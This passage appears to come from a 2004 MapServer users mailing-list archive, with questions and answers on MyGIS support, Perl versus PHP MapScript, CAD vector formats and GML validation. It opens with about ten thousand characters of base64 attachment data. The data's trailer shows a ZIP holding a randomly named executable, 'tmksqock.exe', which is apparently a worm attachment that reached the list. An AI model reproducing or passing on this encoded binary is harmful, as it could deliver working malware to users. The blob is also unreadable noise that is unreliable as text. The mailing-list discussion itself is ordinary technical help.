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 AA== ----------nvzagdnazrigfuxivitm-- From margottid at comune.lugo.ra.it Fri Jun 4 00:01:30 2004 From: margottid at comune.lugo.ra.it (Daniele Margotti) Date: Fri, 4 Jun 2004 09:01:30 +0200 Subject: [Mapserver-users] MyGIS support Message-ID: <000b01c44a01$c34f66c0$041410ac@comune.lugo.ra.it> This is a multi-part message in MIME format. ------=_NextPart_000_000C_01C44A12.86D836C0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Is MyGIS support enabled in MapServer 4.0.1? I configure MapServer with MyGIS Support (./configure --with-mygis), and it configures well: checking if MyGIS support requested... yes checking for mysql_config... /usr/bin/mysql_config yes, user supplied my_config Then, I make MapServer and I get no error, except as: gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_PDF -DUSE_MYGIS -I/usr/local/include -I'/usr/include/mysql' mapmygis.c -o mapmygis.o mapmygis.c: In function `end_memcpy': mapmygis.c:190: warning: `shorts' might be used uninitialized in this function mapmygis.c: In function `prep_DB': mapmygis.c:450: warning: assignment makes integer from pointer without a cast mapmygis.c: In function `msMYGISLayerGetShapeRandom': mapmygis.c:1334: warning: int format, long int arg (arg 7) mapmygis.c: In function `msMYGISLayerGetShape': mapmygis.c:1421: warning: unsigned int format, long int arg (arg 2) and mapmygis.o now exists. But when I check MapServer version, I don't find INPUT=MYGIS: $ ./mapserv -v MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF SUPPORTS=FREETYPE INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=SHAPEFILE Why? Should I upgrade to MapServer 4.2.0? Thank you, Daniele ------=_NextPart_000_000C_01C44A12.86D836C0 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Messaggio
Is = MyGIS support=20 enabled in MapServer 4.0.1?
 
I = configure=20 MapServer with MyGIS Support (./configure --with-mygis), and it = configures=20 well:
 
   =20 checking if MyGIS support requested... yes
    = checking for=20 mysql_config... /usr/bin/mysql_config
    yes, user = supplied=20 my_config
 
 
Then, I make=20 MapServer and I get no error, except as:
 
   =20 gcc -c -O2  -Wall -DIGNORE_MISSING_DATA =20 -DUSE_EPPL     -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG=20 -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_PDF
   =20 -DUSE_MYGIS  =20 -I/usr/local/include         = ;  =20 -I'/usr/include/mysql'    mapmygis.c -o=20 mapmygis.o
    mapmygis.c: In function=20 `end_memcpy':
    mapmygis.c:190: warning: `shorts' = might be=20 used uninitialized in this function
    mapmygis.c: In = function `prep_DB':
    mapmygis.c:450: warning: = assignment=20 makes integer from pointer without a cast
    = mapmygis.c: In=20 function `msMYGISLayerGetShapeRandom':
    = mapmygis.c:1334:=20 warning: int format, long int arg (arg 7)
    = mapmygis.c: In=20 function `msMYGISLayerGetShape':
    mapmygis.c:1421: = warning:=20 unsigned int format, long int arg (arg 2)
 
and = mapmygis.o now=20 exists.
 
 
But = when I check=20 MapServer version, I don't find INPUT=3DMYGIS:
 
   =20 $ ./mapserv -v
    MapServer version 4.0.1 = OUTPUT=3DPNG=20 OUTPUT=3DJPEG OUTPUT=3DWBMP OUTPUT=3DPDF SUPPORTS=3DFREETYPE = INPUT=3DTIFF INPUT=3DEPPL7=20 INPUT=3DJPEG INPUT=3DSHAPEFILE
 
Why?
Should = I upgrade to=20 MapServer 4.2.0?
 
Thank=20 you,
    Daniele
 
------=_NextPart_000_000C_01C44A12.86D836C0-- From norbert.thieme at ilmenau.baw.de Fri Jun 4 00:03:50 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Fri, 04 Jun 2004 09:03:50 +0200 Subject: [Mapserver-users] Perl/MapScript or PHP/Mapscript In-Reply-To: <20040604054422.48219.qmail@web60809.mail.yahoo.com> References: <20040604054422.48219.qmail@web60809.mail.yahoo.com> Message-ID: <40C01ED6.4060006@ilmenau.baw.de> Alexander Lim schrieb: > Hi all, > > I just getting started and realised that we can make > use of Perl/MapScript and PHP/Mapscript, but i would > like to know what's the differences and which one is > "better" to use. And which one is more popular and > more people are using it (This is for getting help > from this list when i face some problem down the > line). Does the two perform and is doing the same > thing at all? > > which one should i adopt in terms of flexibility and > features. > > please advice. thanks > > alex > > > > > __________________________________ > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger. > http://messenger.yahoo.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi, I think both are a good choice and you can make your decision on your experiences in PHP and Perl. My impression is that PHP is a bit more often used. But I think the functions should not be too different. To the specific functions of mapscript you have to see the functions of "basic" Perl - PHP. I can't tell you something about Perl but PHP itself is great because there are much helpful functions for example for database access which can help to make a nice application. Regards, Norbert From mmarichal at buscamap.com Fri Jun 4 01:23:56 2004 From: mmarichal at buscamap.com (=?iso-8859-1?Q?Manuel_Marichal_P=E9rez?=) Date: Fri, 4 Jun 2004 09:23:56 +0100 Subject: [Mapserver-users] Another vector formats for MapServer Message-ID: <000f01c44a0d$4af29a60$3c0010ac@pcmanolo> This is a multi-part message in MIME format. ------=_NextPart_000_0010_01C44A15.ACB70260 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello all.=20 =20 Anybody knows if it will be possible for MapServer to work with DGN, DXF, or DWG vector formats in the future? =20 =20 Thanks in advance, Manuel Marichal P=E9rez =20 ------=_NextPart_000_0010_01C44A15.ACB70260 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Mensaje
Hello = all.=20
 
Anybody knows if it will be possible for = MapServer to=20 work with DGN, DXF, or DWG vector formats in the=20 future?
 
 
Thanks = in=20 advance,
Manuel = Marichal=20 P=E9rez
 
------=_NextPart_000_0010_01C44A15.ACB70260-- From bartvde at xs4all.nl Fri Jun 4 01:40:01 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Fri, 04 Jun 2004 10:40:01 +0200 Subject: [Mapserver-users] Mapserver GML valid? Message-ID: Hi list, I was just checking Mapserver GML in XML Spy and I get and error. I am using Mapserver 4.2. The error I get is: Mandatory element 'gml:_Feature' expected in place of Gemeentes. In the DescribeFeatureType response there is another problem (but maybe this is the cause of the first problem as well?): the URL to the GML schema is: http://ogc.dmsolutions.ca/gml/2.1.1/feature.xsd This one does not exist anymore, the 2.1.2 feature schema does exist though. The version number is hardcoded in mapwfs.c. Anybody else experiencing these (validation) errors? Best regards, Bart -- annex 1: part of my GetFeature response 128558.900000,499724.500000 134533.400000,504609.100000 130401.300000,503894.099900 130579.500000,503799.700000 131548.000100,503660.100000 131489.700000,503858.000100 131773.100000,503932.700000 131865.299900,503957.200000 133099.299900,504609.100000 133209.000000,503977.500000 133441.100100,503733.100000 133588.099900,503473.100000 133861.299900,503540.300000 133861.299900,503540.300000 133739.700100,503372.699900 133760.600000,503139.200000 134174.500100,502917.000100 134230.899900,502735.900100 134384.800100,502258.900000 134533.400000,501841.800000 134216.599900,501423.499900 133983.900100,500917.300000 134003.299900,500788.400000 133575.500000,500471.900100 133399.400000,500240.300100 133139.800100,500297.000000 133139.800100,500297.000000 133069.900000,500287.900000 133057.400100,500369.900000 133057.400100,500369.900000 132947.700000,500323.300100 132906.199900,500143.199900 132795.700100,500081.500100 132776.900000,499981.900100 132728.600000,499724.500000 132585.400100,499766.800100 132679.000100,500372.900100 132679.000100,500372.900100 131675.199900,500164.400000 130918.799900,500093.699900 130714.099900,499988.699900 130378.899900,499801.400100 130024.900000,499980.300100 128558.900000,500826.300000 129112.200100,501755.900100 130401.300000,503894.099900 0385 385 Edam-Volendam 26852 12 0.04 27 27 Noord-Holland 23 Groot-Amsterdam 44 Amsterdam 21 21.2 Amsterdam-Purmerend West 2 057 Waterland 10 Zuidelijk Noord-Holland 34 ROA 34 ROA 9 Hoorn 11 Zaanstreek-Waterland 136 -- annex 2: part of my DescribeFeatureType response From norbert.thieme at ilmenau.baw.de Fri Jun 4 02:30:44 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Fri, 04 Jun 2004 11:30:44 +0200 Subject: [Mapserver-users] Another vector formats for MapServer In-Reply-To: <000f01c44a0d$4af29a60$3c0010ac@pcmanolo> References: <000f01c44a0d$4af29a60$3c0010ac@pcmanolo> Message-ID: <40C04144.9010805@ilmenau.baw.de> Manuel Marichal P?rez schrieb: > Hello all. > > Anybody knows if it will be possible for MapServer to work with DGN, > DXF, or DWG vector formats in the future? > > > Thanks in advance, > Manuel Marichal P?rez > Hi, I don't know how it is with AutoCAD files but it is possible to use DGN if you have OGR support. See: http://www.remotesensing.org/ogr/ogr_formats.html Regards, Norbert From Tom.Kralidis at ec.gc.ca Fri Jun 4 05:44:28 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Fri, 4 Jun 2004 08:44:28 -0400 Subject: [Mapserver-users] Mapserver GML valid? Message-ID: <2576812186CDD411BF1500508B6DCE9507366F13@ecnwri1.ontario.int.ec.gc.ca> Try pointing to http://schemas.opengis.net/ in your mapfile, i.e.: "ows_schemas_location" "http://schemas.opengis.net/" ..Tom > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Bart van den Eijnden > Sent: Friday, June 04, 2004 4:40 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Mapserver GML valid? > > > Hi list, > > I was just checking Mapserver GML in 